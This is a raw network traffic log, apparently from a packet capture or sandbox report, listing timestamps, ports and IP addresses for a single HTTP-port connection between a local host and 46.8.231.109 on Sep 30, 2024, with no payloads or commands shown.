Sep 30, 2024 12:22:56.286870956 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.286909103 CEST	52542	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:56.286946058 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.286957026 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.286967039 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.286978006 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.287007093 CEST	52542	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:56.287029028 CEST	52542	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:56.287631989 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.287642956 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.287653923 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.287684917 CEST	52542	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:56.287708998 CEST	52542	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:56.287712097 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.287724018 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.287765026 CEST	52542	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:56.287791014 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.287801981 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.287812948 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.287832975 CEST	52542	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:56.287836075 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.287853003 CEST	52542	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:56.287873030 CEST	52542	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:56.289755106 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.289799929 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.289808989 CEST	52542	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:56.289844990 CEST	52542	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:56.375761032 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.375787973 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.375816107 CEST	52542	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:56.375817060 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.375845909 CEST	52542	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:56.375866890 CEST	52542	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:56.375869989 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.375881910 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.375905037 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.375907898 CEST	52542	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:56.375925064 CEST	52542	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:56.375929117 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.375952005 CEST	52542	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:56.375966072 CEST	52542	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:56.376015902 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.376027107 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.376036882 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.376054049 CEST	52542	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:56.376063108 CEST	52542	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:56.376080990 CEST	52542	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:56.376084089 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.376096964 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.376107931 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.376142025 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.376142979 CEST	52542	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:56.376152992 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.376163006 CEST	52542	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:56.376166105 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.376178026 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.376189947 CEST	52542	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:56.376193047 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.376199961 CEST	52542	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:56.376224995 CEST	52542	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:56.376254082 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.376394033 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.376405001 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.376415014 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.376426935 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.376427889 CEST	52542	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:56.376439095 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.376442909 CEST	52542	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:56.376446962 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.376461029 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.376471996 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.376494884 CEST	52542	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:56.376494884 CEST	52542	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:56.376512051 CEST	52542	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:56.376621962 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.376633883 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.376643896 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.376656055 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.376687050 CEST	52542	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:56.376704931 CEST	52542	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:56.376704931 CEST	52542	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:56.376738071 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.376749039 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.376760960 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.376773119 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.376782894 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.376791000 CEST	52542	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:56.376794100 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.376802921 CEST	52542	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:56.376827002 CEST	52542	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:56.376837969 CEST	52542	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:56.376853943 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.377012968 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.377022982 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.377033949 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.377043962 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.377048016 CEST	52542	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:56.377054930 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.377060890 CEST	52542	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:56.377068043 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.377078056 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.377083063 CEST	52542	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:56.377089977 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.377094030 CEST	52542	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:56.377101898 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.377114058 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.377119064 CEST	52542	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:56.377127886 CEST	52542	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:56.377149105 CEST	52542	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:56.377377987 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.377391100 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.377401114 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.377412081 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.377422094 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.377425909 CEST	52542	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:56.377434015 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.377444983 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.377450943 CEST	52542	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:56.377455950 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.377466917 CEST	52542	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:56.377468109 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.377480030 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.377489090 CEST	52542	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:56.377500057 CEST	52542	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:56.377517939 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.377521038 CEST	52542	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:56.377528906 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.377563000 CEST	52542	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:56.377614975 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.377625942 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.377636909 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.377654076 CEST	52542	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:56.377671003 CEST	52542	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:56.377679110 CEST	52542	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:56.377758026 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.377768993 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.377779961 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.377795935 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.377799988 CEST	52542	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:56.377806902 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.377810955 CEST	52542	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:56.377820015 CEST	52542	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:56.377820015 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.377842903 CEST	52542	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:56.377860069 CEST	52542	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:56.377916098 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.377927065 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.377937078 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.377959013 CEST	52542	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:56.377974033 CEST	52542	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:56.380666971 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.380677938 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.380688906 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.380762100 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.380768061 CEST	52542	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:56.380768061 CEST	52542	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:56.380774021 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.380785942 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.380799055 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.380812883 CEST	52542	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:56.380816936 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.380821943 CEST	52542	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:56.380831957 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.380850077 CEST	52542	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:56.380868912 CEST	52542	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:56.466105938 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.466169119 CEST	52542	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:56.466217041 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.466264009 CEST	52542	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:56.466290951 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.466301918 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.466334105 CEST	52542	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:56.466347933 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.466387987 CEST	52542	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:56.466460943 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.466502905 CEST	52542	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:56.466538906 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.466582060 CEST	52542	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:56.466617107 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.466659069 CEST	52542	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:56.466661930 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.466674089 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.466696024 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.466700077 CEST	52542	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:56.466706038 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.466713905 CEST	52542	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:56.466720104 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.466739893 CEST	52542	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:56.466748953 CEST	52542	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:56.466749907 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.466763973 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.466772079 CEST	52542	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:56.466775894 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.466794014 CEST	52542	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:56.466801882 CEST	52542	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:56.466824055 CEST	52542	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:56.466917992 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.466934919 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.466944933 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.466954947 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.466960907 CEST	52542	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:56.466969013 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.466974974 CEST	52542	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:56.466981888 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.466994047 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.466998100 CEST	52542	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:56.467005968 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.467015982 CEST	52542	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:56.467016935 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.467029095 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.467036963 CEST	52542	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:56.467062950 CEST	52542	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:56.467077971 CEST	52542	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:56.467154980 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.467253923 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.467266083 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.467276096 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.467286110 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.467291117 CEST	52542	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:56.467303038 CEST	52542	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:56.467310905 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.467320919 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.467329025 CEST	52542	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:56.467331886 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.467344046 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.467346907 CEST	52542	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:56.467356920 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.467367887 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.467367887 CEST	52542	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:56.467379093 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.467380047 CEST	52542	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:56.467402935 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.467403889 CEST	52542	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:56.467415094 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.467425108 CEST	52542	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:56.467432976 CEST	52542	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:56.467459917 CEST	52542	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:56.467629910 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.467642069 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.467652082 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.467663050 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.467672110 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.467679024 CEST	52542	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:56.467684031 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.467696905 CEST	52542	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:56.467716932 CEST	52542	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:56.467735052 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.467746973 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.467756987 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.467767954 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.467777014 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.467782021 CEST	52542	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:56.467789888 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.467799902 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.467801094 CEST	52542	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:56.467812061 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.467814922 CEST	52542	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:56.467824936 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.467833996 CEST	52542	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:56.467852116 CEST	52542	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:56.467869043 CEST	52542	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:56.468137026 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.468147993 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.468158960 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.468169928 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.468179941 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.468188047 CEST	52542	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:56.468195915 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.468208075 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.468209028 CEST	52542	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:56.468219042 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.468219042 CEST	52542	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:56.468231916 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.468239069 CEST	52542	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:56.468249083 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.468250990 CEST	52542	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:56.468261003 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.468266010 CEST	52542	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:56.468272924 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.468286037 CEST	52542	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:56.468286037 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.468297958 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.468307018 CEST	52542	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:56.468311071 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.468321085 CEST	52542	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:56.468323946 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.468334913 CEST	52542	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:56.468336105 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.468357086 CEST	52542	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:56.468369961 CEST	52542	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:56.468560934 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.468571901 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.468581915 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.468586922 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.468628883 CEST	52542	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:56.468640089 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.468651056 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.468662024 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.468672037 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.468683004 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.468686104 CEST	52542	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:56.468693972 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.468700886 CEST	52542	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:56.468705893 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.468719006 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.468719959 CEST	52542	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:56.468729019 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.468744040 CEST	52542	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:56.468756914 CEST	52542	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:56.468767881 CEST	52542	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:56.468941927 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.468957901 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.468967915 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.468978882 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.468988895 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.469000101 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.469003916 CEST	52542	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:56.469023943 CEST	52542	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:56.469023943 CEST	52542	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:56.469038963 CEST	52542	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:56.469109058 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.469125032 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.469136000 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.469146013 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.469156027 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.469163895 CEST	52542	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:56.469166994 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.469178915 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.469183922 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.469187975 CEST	52542	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:56.469188929 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.469199896 CEST	80	52542	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:56.469202042 CEST	52542	80	192.168.2.4	46.8.231.109
